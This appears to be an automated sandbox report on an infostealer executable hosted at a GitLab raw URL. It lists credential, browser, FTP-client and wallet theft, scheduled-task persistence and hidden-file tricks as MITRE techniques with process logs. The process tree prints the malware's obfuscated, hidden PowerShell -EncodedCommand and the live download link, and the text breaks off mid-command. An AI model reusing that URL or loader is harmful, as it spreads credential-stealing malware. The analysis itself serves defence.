hxxps://gitlab[.]com/ameliajeen/push/-/raw/main/S8D70IPCZNAA[.]exe

Analysis

user interaction
yes
max time kernel
329s
max time network
323s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 15:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://gitlab.com/ameliajeen/push/-/raw/main/S8D70IPCZNAA.exe
Sample260504-sxt73say2q

Score

8^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
31	3768	powershell.exe
41	3768	powershell.exe
46	3816	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3816	powershell.exe
3768	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	3192	chrome.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 4 IoCs

pid	Process
768	S8D70IPCZNAA.exe
2652	svchost.exe
3172	svchost.exe
376	S8D70IPCZNAA.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\S8D70IPCZNAA.exe:Zone.Identifier	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3192	chrome.exe
3832	chrome.exe
3368	chrome.exe
2900	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	S8D70IPCZNAA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	S8D70IPCZNAA.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	S8D70IPCZNAA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	S8D70IPCZNAA.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134223822855879608"	chrome.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\Local Settings	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\S8D70IPCZNAA.exe:Zone.Identifier	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2112	schtasks.exe
4532	schtasks.exe
3148	schtasks.exe
996	schtasks.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
768	S8D70IPCZNAA.exe
768	S8D70IPCZNAA.exe
432	msedge.exe
432	msedge.exe
4368	chrome.exe
4368	chrome.exe
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
768	S8D70IPCZNAA.exe
768	S8D70IPCZNAA.exe
768	S8D70IPCZNAA.exe
3080	chrome.exe
3080	chrome.exe
4940	chrome.exe
4940	chrome.exe
1060	msedge.exe
1060	msedge.exe
3816	powershell.exe
3816	powershell.exe
3816	powershell.exe
3412	chrome.exe
3412	chrome.exe
1116	msedge.exe
1116	msedge.exe
3984	chrome.exe
3984	chrome.exe
3232	chrome.exe
3232	chrome.exe
1264	msedge.exe
1264	msedge.exe
1304	msedge.exe
1304	msedge.exe
3728	chrome.exe
3728	chrome.exe
376	S8D70IPCZNAA.exe
376	S8D70IPCZNAA.exe
4808	chrome.exe
4808	chrome.exe
3524	msedge.exe
3524	msedge.exe
376	S8D70IPCZNAA.exe
376	S8D70IPCZNAA.exe
376	S8D70IPCZNAA.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe
Token: SeShutdownPrivilege	3080	chrome.exe
Token: SeCreatePagefilePrivilege	3080	chrome.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe
3080	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3080 wrote to memory of 2204	3080	chrome.exe	80
PID 3080 wrote to memory of 3192	3080	chrome.exe	81
PID 3080 wrote to memory of 1680	3080	chrome.exe	84
PID 3080 wrote to memory of 1680	3080	chrome.exe	84
PID 3080 wrote to memory of 4304	3080	chrome.exe	82
PID 3080 wrote to memory of 4304	3080	chrome.exe	82
PID 3080 wrote to memory of 5064	3080	chrome.exe	85
PID 3080 wrote to memory of 5064	3080	chrome.exe	85
PID 3080 wrote to memory of 3888	3080	chrome.exe	86
PID 3080 wrote to memory of 3888	3080	chrome.exe	86
PID 3080 wrote to memory of 4992	3080	chrome.exe	87
PID 3080 wrote to memory of 4992	3080	chrome.exe	87
PID 3080 wrote to memory of 3584	3080	chrome.exe	89
PID 3080 wrote to memory of 760	3080	chrome.exe	91
PID 3080 wrote to memory of 3656	3080	chrome.exe	94
PID 3080 wrote to memory of 4224	3080	chrome.exe	95
PID 3080 wrote to memory of 4904	3080	chrome.exe	96
PID 768 wrote to memory of 432	768	S8D70IPCZNAA.exe	97
PID 768 wrote to memory of 432	768	S8D70IPCZNAA.exe	97
PID 768 wrote to memory of 2720	768	S8D70IPCZNAA.exe	98
PID 768 wrote to memory of 2720	768	S8D70IPCZNAA.exe	98
PID 768 wrote to memory of 4368	768	S8D70IPCZNAA.exe	99
PID 768 wrote to memory of 4368	768	S8D70IPCZNAA.exe	99
PID 432 wrote to memory of 3768	432	msedge.exe	102
PID 3768 wrote to memory of 2192	3768	powershell.exe	104
PID 3768 wrote to memory of 3012	3768	powershell.exe	105
PID 3768 wrote to memory of 2840	3768	powershell.exe	106
PID 3768 wrote to memory of 1084	3768	powershell.exe	107
PID 3768 wrote to memory of 3804	3768	powershell.exe	108
PID 3080 wrote to memory of 3832	3080	chrome.exe	109
PID 3768 wrote to memory of 2220	3768	powershell.exe	110
PID 3768 wrote to memory of 2112	3768	powershell.exe	112
PID 3768 wrote to memory of 4532	3768	powershell.exe	113
PID 768 wrote to memory of 4940	768	S8D70IPCZNAA.exe	116
PID 768 wrote to memory of 4940	768	S8D70IPCZNAA.exe	116
PID 768 wrote to memory of 232	768	S8D70IPCZNAA.exe	117
PID 768 wrote to memory of 232	768	S8D70IPCZNAA.exe	117
PID 768 wrote to memory of 1060	768	S8D70IPCZNAA.exe	118
PID 768 wrote to memory of 1060	768	S8D70IPCZNAA.exe	118
PID 3080 wrote to memory of 3368	3080	chrome.exe	121
PID 4940 wrote to memory of 3816	4940	chrome.exe	122
PID 3816 wrote to memory of 1108	3816	powershell.exe	124
PID 3816 wrote to memory of 2068	3816	powershell.exe	125
PID 3816 wrote to memory of 4900	3816	powershell.exe	126
PID 3816 wrote to memory of 2712	3816	powershell.exe	127
PID 3816 wrote to memory of 4404	3816	powershell.exe	128
PID 3816 wrote to memory of 484	3816	powershell.exe	129
PID 3768 wrote to memory of 2652	3768	powershell.exe	131
PID 3816 wrote to memory of 3148	3816	powershell.exe	132
PID 3816 wrote to memory of 996	3816	powershell.exe	133
PID 3816 wrote to memory of 3172	3816	powershell.exe	134
PID 768 wrote to memory of 3412	768	S8D70IPCZNAA.exe	135
PID 768 wrote to memory of 3412	768	S8D70IPCZNAA.exe	135
PID 768 wrote to memory of 1832	768	S8D70IPCZNAA.exe	136
PID 768 wrote to memory of 1832	768	S8D70IPCZNAA.exe	136
PID 768 wrote to memory of 1116	768	S8D70IPCZNAA.exe	137
PID 768 wrote to memory of 1116	768	S8D70IPCZNAA.exe	137
PID 3080 wrote to memory of 3984	3080	chrome.exe	140
PID 768 wrote to memory of 3232	768	S8D70IPCZNAA.exe	141
PID 768 wrote to memory of 3232	768	S8D70IPCZNAA.exe	141
PID 768 wrote to memory of 4428	768	S8D70IPCZNAA.exe	142
PID 768 wrote to memory of 4428	768	S8D70IPCZNAA.exe	142
PID 768 wrote to memory of 1264	768	S8D70IPCZNAA.exe	143
PID 768 wrote to memory of 1264	768	S8D70IPCZNAA.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2192	attrib.exe
3012	attrib.exe
1108	attrib.exe
2068	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gitlab.com/ameliajeen/push/-/raw/main/S8D70IPCZNAA.exe
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa41cec728,0x7ffa41cec734,0x7ffa41cec740
  2⤵
  PID:2204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1820,i,1107086263709088842,6939466787911697167,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1980 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:3192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,13750434145080623033,4349242467219422131,262144 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1948 /prefetch:2
  2⤵
  PID:4304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,13120338172989554855,978204517226497386,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2260 /prefetch:13
  2⤵
  PID:1680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,12640707603990182988,4403853441763630590,2097152 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3172 /prefetch:1
  2⤵
  PID:5064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3124,i,16104836551762096192,10637953042417284864,2097152 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:3888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4168,i,3476461849797539687,8792084399008767437,2097152 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4180 /prefetch:9
  2⤵
  PID:4992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5468,i,18406289849129486647,6896622560061077067,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5472 /prefetch:14
  2⤵
  PID:3584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5344,i,9907165467627129026,12098222626086037126,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5228 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5824,i,15641847418389891924,11520894991464930682,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5940 /prefetch:14
  2⤵
  PID:3656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5472,i,7138346083649822737,12966962983425216941,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5924 /prefetch:14
  2⤵
  PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5836,i,9382716574288574334,11648282641452184311,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5928 /prefetch:14
  2⤵
  PID:4904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1964,i,6439572135378674710,37429914497459748,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1820 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1964,i,8738809698121379216,3432270657780869600,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3716 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1980,i,6560884505746801067,1606409738318811121,262144 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5928 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1820,i,13383100447145660346,13610593368745577885,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4492 /prefetch:11
  2⤵
  - System Time Discovery
  PID:2900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4288,i,3627076302944596415,6244644606859821333,524288 --field-trial-handle=1952,i,2983293752095140074,14396391568426875715,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4240 /prefetch:14
  2⤵
  PID:1688

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4480

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1596

C:\Users\Admin\Downloads\S8D70IPCZNAA.exe
"C:\Users\Admin\Downloads\S8D70IPCZNAA.exe"
1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGI